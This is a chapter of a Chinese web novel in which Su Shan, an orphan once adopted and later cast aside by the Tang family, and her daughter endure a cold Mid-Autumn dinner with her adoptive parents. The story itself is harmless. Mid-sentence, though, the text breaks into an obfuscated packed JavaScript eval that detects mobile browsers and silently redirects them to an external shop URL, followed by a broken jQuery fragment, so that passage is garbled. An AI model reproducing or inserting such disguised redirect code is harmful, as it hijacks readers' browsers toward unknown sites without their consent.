文趣网 > 都市小说 > 装货 > 10. 好命女 赤
    苏苏桉也不知道自己为什么会答应这个邀请,只记得中秋那天,天色暗得比平时早。傍晚的风里全是桂花味,甜得有些发腻。

    苏珊出门前在镜子旁边站了很久。

    她最起码换了三次口红颜色,一直到临出门,才选定了最不显情绪的那支。

    苏苏桉坐在书桌前,迟迟解不出题,她心底有些烦躁,但更多的是心虚和愧疚。

    她就不应该答应裴释的。

    明明她和妈妈两个人在一起就是团圆了,怎么自己头脑一昏,居然答应了裴释,和他家一起过中秋节?

    她们和裴家有什么关系?就算他们的母亲是好友,也不至于两家在一起过这个节日吧。

    更何况,裴释是个众所周知的好学生,本就受家长们欢迎,她们过去他们家,倒像是自找苦吃,把自己主动送去给人比较。

    苏桉扭扭捏捏说出裴释的邀请后,本想补“一句不去也行”,但奈何苏珊答应得太快。

    “去,我们不能失礼。”

    她说这话的时候,语气坚定,硬得像在跟谁暗暗较劲。

    苏桉的心,更慌了。

    车驶进裴家所在的小区时,灯光忽地暗下来,廊腰缦回的路,即使走了几千次,还是让人迷糊。

    裴家门口象征性地挂着两盏团圆宫灯,其实与豪华的法式装修并不相衬,但幸好是节日限定的奢华,明天就会被换下。

    苏苏桉一踏进门,唐尹书和赵阿姨就迎了出来。

    “苏珊,桉桉,外面凉,快进来,”唐尹书笑得温柔,声音也十分亲和,“有那么忙嘛,这么多天都不见你们来玩。”

    她握住苏珊的手,掌心很暖。

    苏珊的手却凉得像冰。

    触碰的那一瞬,苏珊的指尖微微僵了一下,像被那份温暖烫到。

    “嗯,来了。”

    笑意落在苏珊的脸上,却落不进她的眼睛里。

    呆在楼上的裴释,此时也闻声下楼,“苏阿姨。”

    ……

    然后呢?

    苏苏桉双眼紧盯着他,他却没有一点表示,反而还好整以暇地望着她,等待她的下一句话。

    他不会是要她这个客人主动叫他吧?

    苏桉咬紧后槽牙,不仅没说话,反而更嚣张地瞪了回去。

    只不过,还不等她嚣张完,就被苏珊打断,“叫哥哥啊,桉桉。”

    苏珊见她沉默,紧皱眉头,连忙将她推到人前。

    她这个女儿,就是这点最不让她满意,遇到亲戚朋友不会叫人。

    不知道的还以为是她没教好呢。

    可苏珊这一催,苏苏桉更不好意思开口了甚至原本不在意的唐尹书和赵阿姨,也都笑眯眯地望向她,“小时候一口一个裴哥哥、裴哥哥,叫得大家心都化了,现在长大,却害羞地叫不出口了。”

    “……?”

    苏苏桉瞪大了双眼,满脸不可置信。真的假的?她怎么会那么亲昵地叫裴释?

    虽然她小时候是经常来裴家和裴释一起玩乐,但也只是因为他们是相熟的同龄人,她和裴释,绝对不会那么亲密。

    肯定是她们在打趣她!

    只不过众目睽睽之下,她不说话,倒是显得她不礼貌了。

    苏桉耳根发红,那三个字在她心里徘徊许久,但就是说不出口,思来想去,最后还是只叫了声,“裴释……”

    “哎,”唐尹书故作失望地摇了摇头,还是期待着她叫出那三个字,“明明青梅竹马的两个人,怎么长大就生疏了呢。”

    苏珊也不满意,裴释比苏桉大,又是从小到大的亲密,叫个哥哥又不会掉块肉。

    话虽如此,苏苏桉却无比煎熬。

    青春期的羞耻,就是从这样一件件小事中展现的。

    哥哥和妹妹,姐姐和弟弟,长者,总是藏着微妙的胜利。好像比他大一点,就是比他成熟一点,比他成熟一点,也算胜她一点。

    可她明明是如此的恨裴释,怎么会愿意在他面前示弱?

    场面就这样僵持着。

    “妈,都是大人了,叫什么哥哥妹妹,人家都不好意思了。”裴释淡淡开口,还带着点漫不经心的勾人。

    他一句不好意思,倒让这紧张气氛变得更加奇怪了,好像她不叫她哥哥,只是因为少女的害羞?

    什么啊!她才不是害羞呢!

    不就是句称呼吗!喜欢听就听仔细点!

    苏苏桉猛吸一口气,大喊了句,“哥哥!”

    “……”

    声音在别墅里回荡,许久,四周才恢复平静。

    一阵羞耻感涌上心头,灌满了苏苏桉的全身。

    但这肯定不是害羞,只是周围好几个人看着她,是个人都会不好意思的……苏苏桉双颊微红,偏偏其他几人看到她脸红,更加高兴了,还抢着答应。

    “嗯嗯,就要这样。”

    明明不是在叫唐尹书,她却掩饰不住笑容,十分满意地点头。

    太奇怪了。

    唐阿姨太奇怪了。

    苏苏桉更不好意思了,直往苏珊身后躲。幸好地上没有缝,不然她一定会以头抢地的。

    到了饭点,赵阿姨敲门,苏桉和裴释便从房间里出来。

    餐厅里摆着一张圆桌,桂花酒装在细口玻璃壶里,散发着淡淡的香气,却能一直萦绕着鼻尖。

    苏苏桉跟着落座时,心里陡然一跳。

    主位空着,还会有人来吗?

    下一秒,门铃果然响了,苏珊的肩膀下意识颤抖。

    门开,一股凉风卷着桂花香钻入,裴释的外公外婆也走了进来。

    两个老人六十多岁了,还穿得极其讲究,一个穿着沉稳的西装,一个戴着华丽又精致的首饰。

    见到他们二人,唐尹书立刻起身迎了上去,“爸、妈!”

    唐母笑着应声,“诶!”

    “最近怎么样?脚伤好了没?”唐母看到裴释,连忙拉着他的手,让他坐下,“你这孩子,从小就独立,这么大一件事都不和姥姥姥爷说。”

    “这不是怕您担心嘛……”

    那一句“从小”像一把尖刀,轻轻划过苏珊的耳膜,剩下的他们说什么,她都听不清了。

    苏珊坐在那里,背绷得铁直,神色却一脸茫然,指甲甚至无意识掐烂了桌布。

    苏苏桉很快察觉到她的异常,她伸手想要握紧她,却被她的指尖掐进掌心。

    疼!

    苏桉倒吸一口冷气,裴释外婆的视线立马跟了过来。

    她扫了一眼苏珊,像扫过一个摆设一般的冷漠。

    裴释的外公也看向这边,与外婆不同,他笑得客气,只是语气仍是对陌生人一般地冷淡疏离,“你也来了。”

    不叫苏珊,也不叫孩子,没说好久不见,也没有一点寒暄,他只淡淡一句,“你也来了”。

    苏珊喉咙轻轻动了一下,苦涩难以下咽,她只能低头,带着些微弱的鼻音问候,“嗯,您身体最近好吧。”

    外公没接话,早已把注意力转回唐尹书母子,四人亲密地寒暄着,让桌上其他两人,格外如坐针毡。

    菜一道道上来,摆得漂亮,味道也清淡。

    可桌上的气氛却不那么简单,一边欢声笑语,一边沉默不语,像温水煮青蛙,把人的尊严和气性都一点点煮死。

    唐母嘴巴不停,一边关心唐尹书,一边又给裴释夹了只剥好的螃蟹,温声问他,“上次月考第几?”

    “第一。”

    唐母的声音又亮起来,眼睛里写满了得意,“我就知道我们家裴释最争气了。”

    不知是有意无意,这一顿饭,两个老人总是在强调那三个字,“我们家”。

    “我们家唐尹书”、“我们家裴释”。

    简简单单的三个字,却像一张锋利又坚固的鱼网,把唐尹书和裴释罩在“被爱”的中心,把她们两个人牢牢锁在外面。

    苏珊坐在中间,努力不去看,也不去听,她沉默着,极少动筷,夹菜也总挑最边缘的。

    骨子里的小心翼翼,让她生怕碰到桌中央那份团圆。

    苏苏桉看见母亲手背的青筋微微凸起,心里涌起一阵不安。

    桌对面的那两个老人,像与苏珊陌生,但她和唐尹书从小相识,怎会不认识她的父母?就算真的不相识,按照苏珊原本的性格,也会圆滑交谈,绝不会像今天一样沉默到尴尬。

    “怎么不吃东西?”裴释给她夹了点菜,如此亲昵的动作,唐尹书不觉得奇怪,反倒是唐尹书的父母皱起眉头。

    唐母看向苏苏桉,像终于想起桌上还有另一个孩子,“这是苏珊的女儿?”

    苏苏桉点了点头,跟着裴释叫了声,“姥姥好。”

    她“哦”了一声,目光在她脸上停了不到一秒,就移开了。

    那一秒里没有好奇,没有怜爱,只有冷漠,甚至厌恶地确认。

    她又转回去,滔滔不绝地拉着裴释说话,“你小时候多乖啊,只要是我们家的人,谁抱都不闹。”

    “跟你妈小时候一个样,天天抱着我的腿不撒手,去哪都要像个小尾巴一样跟着。”

    唐尹书双手捂着脸,几十岁的人了,还要被提起小时候的事情打趣,到底有些不好意思,“妈,你别说了。”

    唐母却像是故意炫耀似的,越说越起劲,“你妈读书那会儿成绩一般,人也傻乎乎的,但就是命好,干什么都有我们帮她托底,长大了又遇见你爸,一辈子享福……”

    命好。

    这两个字像细针,猛地扎进苏珊的骨头里。她全身不自觉绷紧,连指尖都忍不住地颤抖。

    是的,唐尹书命真好,有这么爱她关心她的父母,有这么懂事省心的孩子,还有个疼爱她的丈夫……

    苏珊越想,后槽牙咬的越紧,她抬起杯子,想喝口茶缓缓,却不曾想,茶是那么的苦。

    苦得她鼻尖发酸、眼眶发热。

    但是她忍住了。

    她不想让她们看到她的脆弱,也不想让她们看到她眼底的渴望,于是她忍住了。

    幸好,她太擅长忍住了。

    小时候忍住不哭,忍住不闹,忍住不问“为什么你们不抱我了”。长大后强忍不恨,强忍不嫉妒,忍住不在唐尹书面前露出一丝“我输得很惨”的信号。

    她忍着,仿佛就不疼了,她不说,好像一切就没发生过。可今晚,这些忍,又被人一层层剥开。

    她的心赤裸在外,又一次被伤害。

    眼泪漫过眼眶,她抬起头,却看见自己四五岁时坐在孤儿院的门口,唐妈妈抱着她,说一定会爱她一辈子,把她当作亲生女儿疼爱。

    那时候的唐爸爸回家,会把她举起来转一圈,笑着叫她“尹书”,关心她在学校里的趣事轶闻。

    她把小脸埋在父亲母亲肩窝里,幸福到恍惚,恍惚到生了错觉,觉得自己终于有了“爸爸妈妈”。

    后来婴儿的哭声占满了这个家,她的名字被换回了苏珊,那个赐予她新生的名字,留给了唐尹书。

    或许那本来就是她的,她不过是有幸,体验了一年属于她的幸福。

    今晚,唐母一句“我们家”,将她们狠狠隔绝在外,也把她又推回到了唐尹书出生的那个夏天。

    她抬头,视线落在尹文珠的脸上。

    她还是那么端庄,那么疏离,只是,她怎么能那么理所当然地装作不记得她?她们之间的快乐,真的不值得她留恋吗?

    心底的苦涩翻涌上来,溢出了喉咙,苏珊张了张嘴,却发不出半点声音。

    她转头,看向旁边苏苏桉,她坐在她的身边,一脸羡慕地望着对面一家人。

    她一定会羡慕这样幸福圆满的家庭吧?

    没人会不羡慕。

    苏珊垂下头,自嘲一笑,谁能想到,她不仅自己拥有不了这样

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492259|202284||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    美满的家庭,也给不了自己孩子这样的幸福。

    失落像潮水,一点点漫进苏珊的心,漫进她的眼角,漫到指尖,漫到最后,连呼吸都变得小心。

    苏苏桉感受到苏珊火热的视线,立马转头看向她。

    她知道苏珊没有妈妈,是从孤儿院出来的小孩。

    面前那一家人的亲昵,不仅刺得苏桉自己如坐针毡,也肯定刺得苏珊如鲠在喉。

    苏苏桉鼻子一酸,心底那股自责,怎么也压不住。

    她很少心疼苏珊。

    或者说,很长一段时间,她都在心里暗示自己恨她。

    怎么补也补不完的课,怎么写也写不完的作业,怎么努力也得不到她的夸奖……她甚至在心里将苏珊恶化成一个敌人,哪怕知道她是为了她好,但也暗暗地咒骂她。

    可今晚,她第一次清清楚楚地看见苏珊,像一个被拎回来又被丢掉的孩子,站在门口,手里攥着一张“我也想被爱”的报纸,却没人接。

    此时,裴释忽然把一杯温水轻轻推到苏珊面前。

    他的动作很自然,像只是礼貌,却在此时实实在在给力她安慰,“姨妈,喝点解酒汤。”

    苏珊没料到他会说出这个称呼,手指微微一顿,她想说“谢谢”,喉咙却像被堵住,最后只点了点头。

    她接过汤碗,一饮而尽的同时,眼泪终于放肆地流了下来,“喝醉了,好难受。”

    泪水顺着她的眼角滑下,连带着晕开了她精心挑选的口红,像在给她的体面打了一个巨大的叉。

    尹文珠的视线落在那杯茶上,微不可察地皱了一下眉,像是不喜欢裴释对她的称呼,又或许不喜欢对她多余的照顾。

    却没想到,一个小孩子不懂事,另一个大孩子不听话。

    唐尹书灿然一笑,顺着裴释的话头,说起了她最不想听到的话,“我的命算什么,姐姐的命才算好呢,她现在可是部门主管,事业有成,还有个这么漂亮这么优秀又招人喜欢的女儿。”

    什么姐姐?!唐阿姨是在说她妈妈吗?

    苏苏桉环视一圈,周围好像再没有其他人,原来苏珊是唐尹书的姐姐吗?那为什么苏珊说她无父无母,那为什么唐父唐母,对她和苏珊是那么的冷淡?

    苏苏桉脑子很乱,但还是很快得到了一个答案,苏珊出身在孤儿院,唐父唐母领养了她。

    可是,领养了不就是父女母女了吗?为什么她们的关系会如此淡薄,甚至一直到十五六岁的今天,苏苏桉才知道这层关系,一直到现在,他们对苏珊还是冷眼相待。

    什么姐姐啊?!同样震惊的也有尹文珠,她不喜欢这个称呼,她此生只有唐尹书这一个孩子,苏珊生活怎么样,她一点不关心。

    尹文珠深吸一口气,又把话题拉回到她的外孙身上,“裴释,你明年参加竞赛吗?你妈说你数学特别好。”

    唐父唇角微扬,有些得意,“哎呀,你孙子可是第一名,哪门成绩不好?”

    裴释的眉心微微闪了闪,语气平淡,“看学校安排。”

    尹文珠洋装生气,急声劝道,“当然要参加,我们家孩子就该拿第一。”

    “我们家”三个字又砸下来,像压在苏珊肩上的石头,可她却再无力反驳。

    “妈,姐姐家孩子也厉害着呢,和裴释的成绩不相上下。”唐尹书主动开口,再次把话题引向苏珊和苏桉。

    今天的她真的很奇怪,邀请了她们和唐父唐母一起来家做客不说,还一直谈及她们之间的关系。

    只不过苏桉来不及考虑这些,提及成绩,她的指尖下意识攥紧。

    她心底暗暗有些期待,虽说是她一直都只是第二名,但这个成绩也不差,说出去一定会给苏珊长脸的。

    但她又有些害怕,毕竟她旁边坐得不是别人,是第一名的裴释,得知了自己的孙子是第一名,还会为她的第二名感到自豪吗?

    可惜,没人给她这个答案。

    “哦。”

    尹文珠淡淡应了一声,只匆匆分了一眼给她,而后立马看向裴释。

    他穿着一件普通修整的白衬衣,就那样坐在那里,眼神疏离,甚至有些淡漠,有时应两声,有时不说话。

    可是,就是这样的他,却有那么多人无条件的爱着他。

    姥姥热络地询问,姥爷毫不掩饰的夸赞,无论是什么,他都平静接受,像从小就习惯了被赞美与被期待。

    甚至,那期待对他来说不是枷锁,只是亲人最真切的关爱。

    她也在想,如果他是她,只得个第二名,他们还会那么喜欢他吗?这答案离她很遥远,又或许是她不敢细究。

    只是,她突然好恨他。

    不是恨他这个人,而是恨他拥有的一切,比如,无需努力就有人兜底的爱。

    苏苏桉没有再看裴释,但胸腔里翻滚的恨意,早已让她面容扭曲。

    这是第一次……她第一次感受到那么浓烈的憎恨与决心。

    她要超过他,一定要超过他,超过到他们不得不看见她们,不得不热情对待苏珊,不得不承认苏珊也是他们这个家的一员。

    她把决心压进胃里,像吞下一块冰,冰得她整个人都冷静下来。

    饭局终于结束。

    送客时,唐父唐母对唐尹书说了很多“注意身体”“别累着”“常回家看看”,对裴释又叮嘱“别熬夜”“多吃点”“好好休养”。

    苏苏桉瞥了眼旁边的苏珊,她的眼里闪烁着几分期待,可是真正轮到她时,尹文珠只是敷衍地点点头,像对一个陌生人一样的冷漠,“路上慢点。”

    苏珊眸色暗了暗,“好。”

    车门关上的瞬间,外面的热闹瞬间被隔绝,方才还略带醉意的苏珊也瞬间清醒。

    她根本就没喝酒,一家老少妇女,几口桂花米酒淡得比水还清,怎么会醉人呢。

    她说喝醉了,只不过给自己的眼泪留点体面罢了。